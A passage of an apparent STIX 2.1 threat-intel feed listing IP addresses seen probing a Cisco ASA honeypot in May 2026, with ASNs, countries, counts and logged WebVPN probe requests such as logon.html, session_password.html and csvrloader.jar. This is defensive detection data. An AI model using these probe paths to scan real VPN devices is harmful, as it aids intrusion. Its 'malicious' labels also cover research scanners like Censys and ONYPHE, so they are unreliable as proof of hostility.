      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:20:26.000Z",
      "valid_until": "2026-06-21T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-20T02:44:42.682Z",
          "last_seen": "2026-05-29T04:45:26.828Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T03:20:26.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--98e2c3d0-8445-43ac-97b8-2831d1039aed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.101.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:20:26.000Z",
      "valid_until": "2026-06-21T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-06T00:36:01.501Z",
          "last_seen": "2026-05-31T02:17:44.925Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CZ; ASN 212238 (Datacamp Limited)",
      "id": "indicator--539dfb66-2d6e-45c0-87f4-790d7571d429",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.124.16.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:20:12.000Z",
      "valid_until": "2026-06-21T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-20T03:39:28.672Z",
          "last_seen": "2026-05-20T03:39:29.498Z",
          "country": "Czechia",
          "country_code": "CZ",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--3104c1a9-1dbc-4289-b558-179dac5a9199",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:20:12.000Z",
      "valid_until": "2026-06-21T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-20T03:20:23.638Z",
          "last_seen": "2026-05-20T03:20:26.641Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--e2b0662f-a8f1-44b2-a04f-17ecc9bc8996",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:20:12.000Z",
      "valid_until": "2026-06-21T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-20T03:38:07.246Z",
          "last_seen": "2026-05-20T03:38:35.903Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: LT; ASN 212238 (Datacamp Limited)",
      "id": "indicator--5ecbc66f-c58a-4347-b5eb-d308e68360ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '86.38.177.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:20:12.000Z",
      "valid_until": "2026-06-21T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-20T03:29:03.053Z",
          "last_seen": "2026-05-20T03:29:03.912Z",
          "country": "Lithuania",
          "country_code": "LT",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T09:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--2a0acd0a-06ac-4185-8ada-b5625f7142c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.195.233.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:20:05.000Z",
      "valid_until": "2026-06-21T09:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 45,
          "first_seen": "2026-05-20T08:49:34.064Z",
          "last_seen": "2026-05-30T07:31:17.049Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T09:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d38324e9-a19f-4c08-8e0f-6171e3cc9232",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:20:05.000Z",
      "valid_until": "2026-06-21T09:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-20T09:06:45.422Z",
          "last_seen": "2026-05-30T06:24:59.506Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T09:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: NL; ASN 212238 (Datacamp Limited)",
      "id": "indicator--f8d4d776-7044-4143-850d-a7a709044239",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.10.156.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:20:05.000Z",
      "valid_until": "2026-06-21T09:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-20T08:28:35.985Z",
          "last_seen": "2026-05-20T08:28:36.719Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T10:20:35.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 212238 (Datacamp Limited)",
      "id": "indicator--f155240c-0ba5-4de0-a484-1eb95ca1a763",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.62.100.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:20:35.000Z",
      "valid_until": "2026-06-21T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 66,
          "first_seen": "2026-05-20T02:07:59.124Z",
          "last_seen": "2026-05-30T10:26:32.331Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T10:20:35.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/common.js HTTP/1.1\" 404 - geo: HK; ASN 132203 (Tencent Building, Kejizhongyi Avenue)",
      "id": "indicator--ddc9d0a6-82aa-4a4f-b559-203bb2b3d35d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '43.132.207.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:20:35.000Z",
      "valid_until": "2026-06-21T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 26,
          "first_seen": "2026-05-20T09:38:00.902Z",
          "last_seen": "2026-05-25T18:39:02.283Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 132203,
          "as_org": "Tencent Building, Kejizhongyi Avenue",
          "event_types": [
            "\"GET /+CSCOE+/common.js HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/home/index.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/login.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logout.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/save_capture.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/sdesktop/logout.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/Java.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader64.cab HTTP/1.1\" 404 -",
            "\"GET /+CSCOU+/MacTunnelStart.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7ff4296d-7b58-4f5f-a97e-4d2e95c12e24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T11:20:10.000Z",
      "valid_until": "2026-06-21T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-20T10:52:54.546Z",
          "last_seen": "2026-05-23T02:09:00.810Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.130.168.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:20:13.000Z",
      "valid_until": "2026-06-21T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-20T13:03:46.158Z",
          "last_seen": "2026-05-20T13:03:49.161Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: JP; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--abc18180-4bd1-45ab-a964-e49c1c1288ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.216.4.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:20:13.000Z",
      "valid_until": "2026-06-21T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-20T13:11:01.231Z",
          "last_seen": "2026-05-20T13:11:04.754Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 202015 (HZ Hosting Ltd)",
      "id": "indicator--dca30a04-2505-417d-8f00-82eef1147302",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '98.142.240.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:20:13.000Z",
      "valid_until": "2026-06-21T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-20T12:32:40.082Z",
          "last_seen": "2026-05-20T12:32:40.082Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202015,
          "as_org": "HZ Hosting Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: RU; ASN 209702 (Soldatov Alexey Valerevich)",
      "id": "indicator--9336fd33-e34c-41ec-9d2a-b6c6c86eff4d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.66.66.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:20:10.000Z",
      "valid_until": "2026-06-21T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 120,
          "first_seen": "2026-05-20T13:30:24.689Z",
          "last_seen": "2026-05-22T01:17:56.820Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 209702,
          "as_org": "Soldatov Alexey Valerevich",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--afc4892d-8be1-477a-b1cd-f6aadd374d91",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T20:20:10.000Z",
      "valid_until": "2026-06-21T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-20T18:10:37.911Z",
          "last_seen": "2026-05-30T08:56:53.206Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 212238 (Datacamp Limited)",
      "id": "indicator--af2e93f3-f7bc-4331-8bb8-4e3a27176864",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.62.100.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T20:20:10.000Z",
      "valid_until": "2026-06-21T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 96,
          "first_seen": "2026-05-20T19:48:23.652Z",
          "last_seen": "2026-05-30T14:18:42.847Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--86632468-ec18-43a8-b60c-45707fc741c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T20:20:10.000Z",
      "valid_until": "2026-06-21T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-20T20:03:27.947Z",
          "last_seen": "2026-05-29T19:47:43.935Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--33537f65-7c84-45d1-b9ac-34c3bc4ce54d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T20:20:10.000Z",
      "valid_until": "2026-06-21T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-20T20:05:17.576Z",
          "last_seen": "2026-05-27T20:19:36.028Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--a9cf9965-0023-47b4-85ec-53fe7e45aff9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T20:20:10.000Z",
      "valid_until": "2026-06-21T20:20:09.000Z",
